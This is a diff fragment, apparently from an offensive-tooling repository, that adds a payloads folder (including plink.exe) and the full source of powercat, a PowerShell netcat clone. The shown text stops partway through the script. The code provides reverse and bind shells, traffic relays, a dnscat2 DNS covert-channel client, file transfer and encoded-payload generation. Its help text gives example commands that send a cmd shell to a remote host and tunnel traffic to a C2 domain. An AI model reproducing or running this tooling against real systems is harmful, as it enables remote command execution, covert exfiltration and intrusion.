elif options.action == 'flush_rbcd':
rbcd.flush()
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
print(str(e))

BIN
payloads/windows/plink.exe Normal file
View File

Binary file not shown.

View File

Binary file not shown.

View File

@@ -0,0 +1,948 @@
function powercat
{
param(
[alias("Client")][string]$c="",
[alias("Listen")][switch]$l=$False,
[alias("Port")][Parameter(Position=-1)][string]$p="",
[alias("Execute")][string]$e="",
[alias("ExecutePowershell")][switch]$ep=$False,
[alias("Relay")][string]$r="",
[alias("UDP")][switch]$u=$False,
[alias("dnscat2")][string]$dns="",
[alias("DNSFailureThreshold")][int32]$dnsft=10,
[alias("Timeout")][int32]$t=60,
[Parameter(ValueFromPipeline=$True)][alias("Input")]$i=$null,
[ValidateSet('Host', 'Bytes', 'String')][alias("OutputType")][string]$o="Host",
[alias("OutputFile")][string]$of="",
[alias("Disconnect")][switch]$d=$False,
[alias("Repeater")][switch]$rep=$False,
[alias("GeneratePayload")][switch]$g=$False,
[alias("GenerateEncoded")][switch]$ge=$False,
[alias("Help")][switch]$h=$False
)
############### HELP ###############
$Help = "
powercat - Netcat, The Powershell Version
Github Repository: https://github.com/besimorhino/powercat
This script attempts to implement the features of netcat in a powershell
script. It also contains extra features such as built-in relays, execute
powershell, and a dnscat2 client.
Usage: powercat [-c or -l] [-p port] [options]
-c <ip> Client Mode. Provide the IP of the system you wish to connect to.
If you are using -dns, specify the DNS Server to send queries to.
-l Listen Mode. Start a listener on the port specified by -p.
-p <port> Port. The port to connect to, or the port to listen on.
-e <proc> Execute. Specify the name of the process to start.
-ep Execute Powershell. Start a pseudo powershell session. You can
declare variables and execute commands, but if you try to enter
another shell (nslookup, netsh, cmd, etc.) the shell will hang.
-r <str> Relay. Used for relaying network traffic between two nodes.
Client Relay Format: -r <protocol>:<ip addr>:<port>
Listener Relay Format: -r <protocol>:<port>
DNSCat2 Relay Format: -r dns:<dns server>:<dns port>:<domain>
-u UDP Mode. Send traffic over UDP. Because it's UDP, the client
must send data before the server can respond.
-dns <domain> DNS Mode. Send traffic over the dnscat2 dns covert channel.
Specify the dns server to -c, the dns port to -p, and specify the
domain to this option, -dns. This is only a client.
Get the server here: https://github.com/iagox86/dnscat2
-dnsft <int> DNS Failure Threshold. This is how many bad packets the client can
recieve before exiting. Set to zero when receiving files, and set high
for more stability over the internet.
-t <int> Timeout. The number of seconds to wait before giving up on listening or
connecting. Default: 60
-i <input> Input. Provide data to be sent down the pipe as soon as a connection is
established. Used for moving files. You can provide the path to a file,
a byte array object, or a string. You can also pipe any of those into
powercat, like 'aaaaaa' | powercat -c 10.1.1.1 -p 80
-o <type> Output. Specify how powercat should return information to the console.
Valid options are 'Bytes', 'String', or 'Host'. Default is 'Host'.
-of <path> Output File. Specify the path to a file to write output to.
-d Disconnect. powercat will disconnect after the connection is established
and the input from -i is sent. Used for scanning.
-rep Repeater. powercat will continually restart after it is disconnected.
Used for setting up a persistent server.
-g Generate Payload. Returns a script as a string which will execute the
powercat with the options you have specified. -i, -d, and -rep will not
be incorporated.
-ge Generate Encoded Payload. Does the same as -g, but returns a string which
can be executed in this way: powershell -E <encoded string>
-h Print this help message.
Examples:
Listen on port 8000 and print the output to the console.
powercat -l -p 8000
Connect to 10.1.1.1 port 443, send a shell, and enable verbosity.
powercat -c 10.1.1.1 -p 443 -e cmd -v
Connect to the dnscat2 server on c2.example.com, and send dns queries
to the dns server on 10.1.1.1 port 53.
powercat -c 10.1.1.1 -p 53 -dns c2.example.com
Send a file to 10.1.1.15 port 8000.
powercat -c 10.1.1.15 -p 8000 -i C:\inputfile
Write the data sent to the local listener on port 4444 to C:\outfile
powercat -l -p 4444 -of C:\outfile
Listen on port 8000 and repeatedly server a powershell shell.
powercat -l -p 8000 -ep -rep
Relay traffic coming in on port 8000 over tcp to port 9000 on 10.1.1.1 over tcp.
powercat -l -p 8000 -r tcp:10.1.1.1:9000
Relay traffic coming in on port 8000 over tcp to the dnscat2 server on c2.example.com,
sending queries to 10.1.1.1 port 53.
powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com
"
if($h){return $Help}
############### HELP ###############
############### VALIDATE ARGS ###############
$global:Verbose = $Verbose
if($of -ne ''){$o = 'Bytes'}
if($dns -eq "")
{
if((($c -eq "") -and (!$l)) -or (($c -ne "") -and $l)){return "You must select either client mode (-c) or listen mode (-l)."}
if($p -eq ""){return "Please provide a port number to -p."}
}
if(((($r -ne "") -and ($e -ne "")) -or (($e -ne "") -and ($ep))) -or (($r -ne "") -and ($ep))){return "You can only pick one of these: -e, -ep, -r"}
if(($i -ne $null) -and (($r -ne "") -or ($e -ne ""))){return "-i is not applicable here."}
if($l)
{
$Failure = $False
netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $p){Write-Output ("The selected port " + $p + " is already in use.") ; $Failure=$True}}
if($Failure){break}
}
if($r -ne "")
{
if($r.split(":").Count -eq 2)
{
$Failure = $False
netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $r.split(":")[1]){Write-Output ("The selected port " + $r.split(":")[1] + " is already in use.") ; $Failure=$True}}
if($Failure){break}
}
}
############### VALIDATE ARGS ###############
############### UDP FUNCTIONS ###############
function Setup_UDP
{
param($FuncSetupVars)
if($global:Verbose){$Verbose = $True}
$c,$l,$p,$t = $FuncSetupVars
$FuncVars = @{}
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
if($l)
{
$SocketDestinationBuffer = New-Object System.Byte[] 65536
$EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Any), $p
$FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient $p
$PacketInfo = New-Object System.Net.Sockets.IPPacketInformation
Write-Verbose ("Listening on [0.0.0.0] port " + $p + " [udp]")
$ConnectHandle = $FuncVars["Socket"].Client.BeginReceiveMessageFrom($SocketDestinationBuffer,0,65536,[System.Net.Sockets.SocketFlags]::None,[ref]$EndPoint,$null,$null)
$Stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
while($True)
{
if($Host.UI.RawUI.KeyAvailable)
{
if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown,IncludeKeyUp").VirtualKeyCode))
{
Write-Verbose "CTRL or ESC caught. Stopping UDP Setup..."
$FuncVars["Socket"].Close()
$Stopwatch.Stop()
break
}
}
if($Stopwatch.Elapsed.TotalSeconds -gt $t)
{
$FuncVars["Socket"].Close()
$Stopwatch.Stop()
Write-Verbose "Timeout!" ; break
}
if($ConnectHandle.IsCompleted)
{
$SocketBytesRead = $FuncVars["Socket"].Client.EndReceiveMessageFrom($ConnectHandle,[ref]([System.Net.Sockets.SocketFlags]::None),[ref]$EndPoint,[ref]$PacketInfo)
Write-Verbose ("Connection from [" + $EndPoint.Address.IPAddressToString + "] port " + $p + " [udp] accepted (source port " + $EndPoint.Port + ")")
if($SocketBytesRead -gt 0){break}
else{break}
}
}
$Stopwatch.Stop()
$FuncVars["InitialConnectionBytes"] = $SocketDestinationBuffer[0..([int]$SocketBytesRead-1)]
}
else
{
if(!$c.Contains("."))
{
$IPList = @()
[System.Net.Dns]::GetHostAddresses($c) | Where-Object {$_.AddressFamily -eq "InterNetwork"} | %{$IPList += $_.IPAddressToString}
Write-Verbose ("Name " + $c + " resolved to address " + $IPList[0])
$EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($IPList[0])), $p
}
else
{
$EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($c)), $p
}
$FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient
$FuncVars["Socket"].Connect($c,$p)
Write-Verbose ("Sending UDP traffic to " + $c + " port " + $p + "...")
Write-Verbose ("UDP: Make sure to send some data so the server can notice you!")
}
$FuncVars["BufferSize"] = 65536
$FuncVars["EndPoint"] = $EndPoint
$FuncVars["StreamDestinationBuffer"] = New-Object System.Byte[] $FuncVars["BufferSize"]
$FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null)
return $FuncVars
}
function ReadData_UDP
{
param($FuncVars)
$Data = $null
if($FuncVars["StreamReadOperation"].IsCompleted)
{
$StreamBytesRead = $FuncVars["Socket"].Client.EndReceiveFrom($FuncVars["StreamReadOperation"],[ref]$FuncVars["EndPoint"])
if($StreamBytesRead -eq 0){break}
$Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)]
$FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null)
}
return $Data,$FuncVars
}
function WriteData_UDP
{
param($Data,$FuncVars)
$FuncVars["Socket"].Client.SendTo($Data,$FuncVars["EndPoint"]) | Out-Null
return $FuncVars
}
function Close_UDP
{
param($FuncVars)
$FuncVars["Socket"].Close()
}
############### UDP FUNCTIONS ###############
############### DNS FUNCTIONS ###############
function Setup_DNS
{
param($FuncSetupVars)
if($global:Verbose){$Verbose = $True}
function ConvertTo-HexArray
{
param($String)
$Hex = @()
$String.ToCharArray() | % {"{0:x}" -f [byte]$_} | % {if($_.Length -eq 1){"0" + [string]$_} else{[string]$_}} | % {$Hex += $_}
return $Hex
}
function SendPacket
{
param($Packet,$DNSServer,$DNSPort)
$Command = ("set type=TXT`nserver $DNSServer`nset port=$DNSPort`nset domain=.com`nset retry=1`n" + $Packet + "`nexit")
$result = ($Command | nslookup 2>&1 | Out-String)
if($result.Contains('"')){return ([regex]::Match($result.replace("bio=",""),'(?<=")[^"]*(?=")').Value)}
else{return 1}
}
function Create_SYN
{
param($SessionId,$SeqNum,$Tag,$Domain)
return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "00" + $SessionId + $SeqNum + "0000" + $Domain)
}
function Create_FIN
{
param($SessionId,$Tag,$Domain)
return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "02" + $SessionId + "00" + $Domain)
}
function Create_MSG
{
param($SessionId,$SeqNum,$AcknowledgementNumber,$Data,$Tag,$Domain)
return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "01" + $SessionId + $SeqNum + $AcknowledgementNumber + $Data + $Domain)
}
function DecodePacket
{
param($Packet)
if((($Packet.Length)%2 -eq 1) -or ($Packet.Length -eq 0)){return 1}
$AcknowledgementNumber = ($Packet[10..13] -join "")
$SeqNum = ($Packet[14..17] -join "")
[byte[]]$ReturningData = @()
if($Packet.Length -gt 18)
{
$PacketElim = $Packet.Substring(18)
while($PacketElim.Length -gt 0)
{
$ReturningData += [byte[]][Convert]::ToInt16(($PacketElim[0..1] -join ""),16)
$PacketElim = $PacketElim.Substring(2)
}
}
return $Packet,$ReturningData,$AcknowledgementNumber,$SeqNum
}
function AcknowledgeData
{
param($ReturningData,$AcknowledgementNumber)
$Hex = [string]("{0:x}" -f (([uint16]("0x" + $AcknowledgementNumber) + $ReturningData.Length) % 65535))
if($Hex.Length -ne 4){$Hex = (("0"*(4-$Hex.Length)) + $Hex)}
return $Hex
}
$FuncVars = @{}
$FuncVars["DNSServer"],$FuncVars["DNSPort"],$FuncVars["Domain"],$FuncVars["FailureThreshold"] = $FuncSetupVars
if($FuncVars["DNSPort"] -eq ''){$FuncVars["DNSPort"] = "53"}
$FuncVars["Tag"] = ""
$FuncVars["Domain"] = ("." + $FuncVars["Domain"])
$FuncVars["Create_SYN"] = ${function:Create_SYN}
$FuncVars["Create_MSG"] = ${function:Create_MSG}
$FuncVars["Create_FIN"] = ${function:Create_FIN}
$FuncVars["DecodePacket"] = ${function:DecodePacket}
$FuncVars["ConvertTo-HexArray"] = ${function:ConvertTo-HexArray}
$FuncVars["AckData"] = ${function:AcknowledgeData}
$FuncVars["SendPacket"] = ${function:SendPacket}
$FuncVars["SessionId"] = ([string](Get-Random -Maximum 9999 -Minimum 1000))
$FuncVars["SeqNum"] = ([string](Get-Random -Maximum 9999 -Minimum 1000))
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
$FuncVars["Failures"] = 0
$SYNPacket = (Invoke-Command $FuncVars["Create_SYN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["Tag"],$FuncVars["Domain"]))
$ResponsePacket = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($SYNPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]))
$DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($ResponsePacket))
if($DecodedPacket -eq 1){return "Bad SYN response. Ensure your server is set up correctly."}
$ReturningData = $DecodedPacket[1]
if($ReturningData -ne ""){$FuncVars["InputData"] = ""}
$FuncVars["AckNum"] = $DecodedPacket[2]
$FuncVars["MaxMSGDataSize"] = (244 - (Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],"",$FuncVars["Tag"],$FuncVars["Domain"])).Length)
if($FuncVars["MaxMSGDataSize"] -le 0){return "Domain name is too long."}
return $FuncVars
}
function ReadData_DNS
{
param($FuncVars)
if($global:Verbose){$Verbose = $True}
$PacketsData = @()
$PacketData = ""
if($FuncVars["InputData"] -ne $null)
{
$Hex = (Invoke-Command $FuncVars["ConvertTo-HexArray"] -ArgumentList @($FuncVars["InputData"]))
$SectionCount = 0
$PacketCount = 0
foreach($Char in $Hex)
{
if($SectionCount -ge 30)
{
$SectionCount = 0
$PacketData += "."
}
if($PacketCount -ge ($FuncVars["MaxMSGDataSize"]))
{
$PacketsData += $PacketData.TrimEnd(".")
$PacketCount = 0
$SectionCount = 0
$PacketData = ""
}
$PacketData += $Char
$SectionCount += 2
$PacketCount += 2
}
$PacketData = $PacketData.TrimEnd(".")
$PacketsData += $PacketData
$FuncVars["InputData"] = ""
}
else
{
$PacketsData = @("")
}
[byte[]]$ReturningData = @()
foreach($PacketData in $PacketsData)
{
try{$MSGPacket = Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],$PacketData,$FuncVars["Tag"],$FuncVars["Domain"])}
catch{ Write-Verbose "DNSCAT2: Failed to create packet." ; $FuncVars["Failures"] += 1 ; continue }
try{$Packet = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($MSGPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]))}
catch{ Write-Verbose "DNSCAT2: Failed to send packet." ; $FuncVars["Failures"] += 1 ; continue }
try
{
$DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($Packet))
if($DecodedPacket.Length -ne 4){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..."; $FuncVars["Failures"] += 1 ; continue }
$FuncVars["AckNum"] = $DecodedPacket[2]
$FuncVars["SeqNum"] = $DecodedPacket[3]
$ReturningData += $DecodedPacket[1]
}
catch{ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue }
if($DecodedPacket -eq 1){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue }
}
if($FuncVars["Failures"] -ge $FuncVars["FailureThreshold"]){break}
if($ReturningData -ne @())
{
$FuncVars["AckNum"] = (Invoke-Command $FuncVars["AckData"] -ArgumentList @($ReturningData,$FuncVars["AckNum"]))
}
return $ReturningData,$FuncVars
}
function WriteData_DNS
{
param($Data,$FuncVars)
$FuncVars["InputData"] = $FuncVars["Encoding"].GetString($Data)
return $FuncVars
}
function Close_DNS
{
param($FuncVars)
$FINPacket = Invoke-Command $FuncVars["Create_FIN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["Tag"],$FuncVars["Domain"])
Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($FINPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]) | Out-Null
}
############### DNS FUNCTIONS ###############
########## TCP FUNCTIONS ##########
function Setup_TCP
{
param($FuncSetupVars)
$c,$l,$p,$t = $FuncSetupVars
if($global:Verbose){$Verbose = $True}
$FuncVars = @{}
if(!$l)
{
$FuncVars["l"] = $False
$Socket = New-Object System.Net.Sockets.TcpClient
Write-Verbose "Connecting..."
$Handle = $Socket.BeginConnect($c,$p,$null,$null)
}
else
{
$FuncVars["l"] = $True
Write-Verbose ("Listening on [0.0.0.0] (port " + $p + ")")
$Socket = New-Object System.Net.Sockets.TcpListener $p
$Socket.Start()
$Handle = $Socket.BeginAcceptTcpClient($null, $null)
}
$Stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
while($True)
{
if($Host.UI.RawUI.KeyAvailable)
{
if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown,IncludeKeyUp").VirtualKeyCode))
{
Write-Verbose "CTRL or ESC caught. Stopping TCP Setup..."
if($FuncVars["l"]){$Socket.Stop()}
else{$Socket.Close()}
$Stopwatch.Stop()
break
}
}
if($Stopwatch.Elapsed.TotalSeconds -gt $t)
{
if(!$l){$Socket.Close()}
else{$Socket.Stop()}
$Stopwatch.Stop()
Write-Verbose "Timeout!" ; break
break
}
if($Handle.IsCompleted)
{
if(!$l)
{
try
{
$Socket.EndConnect($Handle)
$Stream = $Socket.GetStream()
$BufferSize = $Socket.ReceiveBufferSize
Write-Verbose ("Connection to " + $c + ":" + $p + " [tcp] succeeded!")
}
catch{$Socket.Close(); $Stopwatch.Stop(); break}
}
else
{
$Client = $Socket.EndAcceptTcpClient($Handle)
$Stream = $Client.GetStream()
$BufferSize = $Client.ReceiveBufferSize
Write-Verbose ("Connection from [" + $Client.Client.RemoteEndPoint.Address.IPAddressToString + "] port " + $port + " [tcp] accepted (source port " + $Client.Client.RemoteEndPoint.Port + ")")
}
break
}
}
$Stopwatch.Stop()
if($Socket -eq $null){break}
$FuncVars["Stream"] = $Stream
$FuncVars["Socket"] = $Socket
$FuncVars["BufferSize"] = $BufferSize
$FuncVars["StreamDestinationBuffer"] = (New-Object System.Byte[] $FuncVars["BufferSize"])
$FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null)
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
$FuncVars["StreamBytesRead"] = 1
return $FuncVars
}
function ReadData_TCP
{
param($FuncVars)
$Data = $null
if($FuncVars["StreamBytesRead"] -eq 0){break}
if($FuncVars["StreamReadOperation"].IsCompleted)
{
$StreamBytesRead = $FuncVars["Stream"].EndRead($FuncVars["StreamReadOperation"])
if($StreamBytesRead -eq 0){break}
$Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)]
$FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null)
}
return $Data,$FuncVars
}
function WriteData_TCP
{
param($Data,$FuncVars)
$FuncVars["Stream"].Write($Data, 0, $Data.Length)
return $FuncVars
}
function Close_TCP
{
param($FuncVars)
try{$FuncVars["Stream"].Close()}
catch{}
if($FuncVars["l"]){$FuncVars["Socket"].Stop()}
else{$FuncVars["Socket"].Close()}
}
########## TCP FUNCTIONS ##########
########## CMD FUNCTIONS ##########
function Setup_CMD
{
param($FuncSetupVars)
if($global:Verbose){$Verbose = $True}
$FuncVars = @{}
$ProcessStartInfo = New-Object System.Diagnostics.ProcessStartInfo
$ProcessStartInfo.FileName = $FuncSetupVars[0]
$ProcessStartInfo.UseShellExecute = $False
$ProcessStartInfo.RedirectStandardInput = $True
$ProcessStartInfo.RedirectStandardOutput = $True
$ProcessStartInfo.RedirectStandardError = $True
$FuncVars["Process"] = [System.Diagnostics.Process]::Start($ProcessStartInfo)
Write-Verbose ("Starting Process " + $FuncSetupVars[0] + "...")
$FuncVars["Process"].Start() | Out-Null
$FuncVars["StdOutDestinationBuffer"] = New-Object System.Byte[] 65536
$FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null)
$FuncVars["StdErrDestinationBuffer"] = New-Object System.Byte[] 65536
$FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null)
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
return $FuncVars
}
function ReadData_CMD
{
param($FuncVars)
[byte[]]$Data = @()
if($FuncVars["StdOutReadOperation"].IsCompleted)
{
$StdOutBytesRead = $FuncVars["Process"].StandardOutput.BaseStream.EndRead($FuncVars["StdOutReadOperation"])
if($StdOutBytesRead -eq 0){break}
$Data += $FuncVars["StdOutDestinationBuffer"][0..([int]$StdOutBytesRead-1)]
$FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null)
}
if($FuncVars["StdErrReadOperation"].IsCompleted)
{
$StdErrBytesRead = $FuncVars["Process"].StandardError.BaseStream.EndRead($FuncVars["StdErrReadOperation"])
if($StdErrBytesRead -eq 0){break}
$Data += $FuncVars["StdErrDestinationBuffer"][0..([int]$StdErrBytesRead-1)]
$FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null)
}
return $Data,$FuncVars
}
function WriteData_CMD
{
param($Data,$FuncVars)
$FuncVars["Process"].StandardInput.WriteLine($FuncVars["Encoding"].GetString($Data).TrimEnd("`r").TrimEnd("`n"))
return $FuncVars
}
function Close_CMD
{
param($FuncVars)
$FuncVars["Process"] | Stop-Process
}
########## CMD FUNCTIONS ##########
########## POWERSHELL FUNCTIONS ##########
function Main_Powershell
{
param($Stream1SetupVars)
try
{
$encoding = New-Object System.Text.AsciiEncoding
[byte[]]$InputToWrite = @()
if($i -ne $null)
{
Write-Verbose "Input from -i detected..."
if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) }
elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i }
elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) }
else{Write-Host "Unrecognised input type." ; return}
}
Write-Verbose "Setting up Stream 1... (ESC/CTRL to exit)"
try{$Stream1Vars = Stream1_Setup $Stream1SetupVars}
catch{Write-Verbose "Stream 1 Setup Failure" ; return}
Write-Verbose "Setting up Stream 2... (ESC/CTRL to exit)"
try
{
$IntroPrompt = $Encoding.GetBytes("Windows PowerShell`nCopyright (C) 2013 Microsoft Corporation. All rights reserved.`n`n" + ("PS " + (pwd).Path + "> "))
$Prompt = ("PS " + (pwd).Path + "> ")
$CommandToExecute = ""
$Data = $null
}
catch
{
Write-Verbose "Stream 2 Setup Failure" ; return
}
if($InputToWrite -ne @())
{
Write-Verbose "Writing input to Stream 1..."
try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars}
catch{Write-Host "Failed to write input to Stream 1" ; return}
}
if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return}
Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..."
while($True)
{
try
{
##### Stream2 Read #####
$Prompt = $null
$ReturnedData = $null
if($CommandToExecute -ne "")
{
try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))}
catch{[byte[]]$ReturnedData = $Encoding.GetBytes(($_ | Out-String))}
$Prompt = $Encoding.GetBytes(("PS " + (pwd).Path + "> "))
}
$Data += $IntroPrompt
$IntroPrompt = $null
$Data += $ReturnedData
$Data += $Prompt
$CommandToExecute = ""
##### Stream2 Read #####
if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars}
$Data = $null
}
catch
{
Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return
}
try
{
$Data,$Stream1Vars = Stream1_ReadData $Stream1Vars
if($Data.Length -eq 0){Start-Sleep -Milliseconds 100}
if($Data -ne $null){$CommandToExecute = $Encoding.GetString($Data)}
$Data = $null
}
catch
{
Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return
}
}
}
finally
{
try
{
Write-Verbose "Closing Stream 1..."
Stream1_Close $Stream1Vars
}
catch
{
Write-Verbose "Failed to close Stream 1"
}
}
}
########## POWERSHELL FUNCTIONS ##########
########## CONSOLE FUNCTIONS ##########
function Setup_Console
{
param($FuncSetupVars)
$FuncVars = @{}
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
$FuncVars["Output"] = $FuncSetupVars[0]
$FuncVars["OutputBytes"] = [byte[]]@()
$FuncVars["OutputString"] = ""
return $FuncVars
}
function ReadData_Console
{
param($FuncVars)
$Data = $null
if($Host.UI.RawUI.KeyAvailable)
{
$Data = $FuncVars["Encoding"].GetBytes((Read-Host) + "`n")
}
return $Data,$FuncVars
}
function WriteData_Console
{
param($Data,$FuncVars)
switch($FuncVars["Output"])
{
"Host" {Write-Host -n $FuncVars["Encoding"].GetString($Data)}
"String" {$FuncVars["OutputString"] += $FuncVars["Encoding"].GetString($Data)}
"Bytes" {$FuncVars["OutputBytes"] += $Data}
}
return $FuncVars
}
function Close_Console
{
param($FuncVars)
if($FuncVars["OutputString"] -ne ""){return $FuncVars["OutputString"]}
elseif($FuncVars["OutputBytes"] -ne @()){return $FuncVars["OutputBytes"]}
return
}
########## CONSOLE FUNCTIONS ##########
########## MAIN FUNCTION ##########
function Main
{
param($Stream1SetupVars,$Stream2SetupVars)
try
{
[byte[]]$InputToWrite = @()
$Encoding = New-Object System.Text.AsciiEncoding
if($i -ne $null)
{
Write-Verbose "Input from -i detected..."
if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) }
elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i }
elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) }
else{Write-Host "Unrecognised input type." ; return}
}
Write-Verbose "Setting up Stream 1..."
try{$Stream1Vars = Stream1_Setup $Stream1SetupVars}
catch{Write-Verbose "Stream 1 Setup Failure" ; return}
Write-Verbose "Setting up Stream 2..."
try{$Stream2Vars = Stream2_Setup $Stream2SetupVars}
catch{Write-Verbose "Stream 2 Setup Failure" ; return}
$Data = $null
if($InputToWrite -ne @())
{
Write-Verbose "Writing input to Stream 1..."
try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars}
catch{Write-Host "Failed to write input to Stream 1" ; return}
}
if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return}
Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..."
while($True)
{
try
{
$Data,$Stream2Vars = Stream2_ReadData $Stream2Vars
if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100}
if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars}
$Data = $null
}
catch
{
Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return
}
try
{
$Data,$Stream1Vars = Stream1_ReadData $Stream1Vars
if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100}
if($Data -ne $null){$Stream2Vars = Stream2_WriteData $Data $Stream2Vars}
$Data = $null
}
catch
{
Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return
}
}
}
finally
{
try
{
#Write-Verbose "Closing Stream 2..."
Stream2_Close $Stream2Vars
}
catch
{
Write-Verbose "Failed to close Stream 2"
}
try
{
#Write-Verbose "Closing Stream 1..."
Stream1_Close $Stream1Vars
}
catch
{
Write-Verbose "Failed to close Stream 1"
}
}
}
########## MAIN FUNCTION ##########
########## GENERATE PAYLOAD ##########
if($u)
{
Write-Verbose "Set Stream 1: UDP"
$FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n")
$FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n")
$FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n")
$FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n")
if($l){$InvokeString = "Main @('',`$True,'$p','$t') "}
else{$InvokeString = "Main @('$c',`$False,'$p','$t') "}
}
elseif($dns -ne "")
{
Write-Verbose "Set Stream 1: DNS"
$FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n")
$FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n")
$FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n")
$FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n")
if($l){return "This feature is not available."}
else{$InvokeString = "Main @('$c','$p','$dns',$dnsft) "}
}
else
{
Write-Verbose "Set Stream 1: TCP"
$FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n")
$FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n")
$FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n")
$FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n")
if($l){$InvokeString = "Main @('',`$True,$p,$t) "}
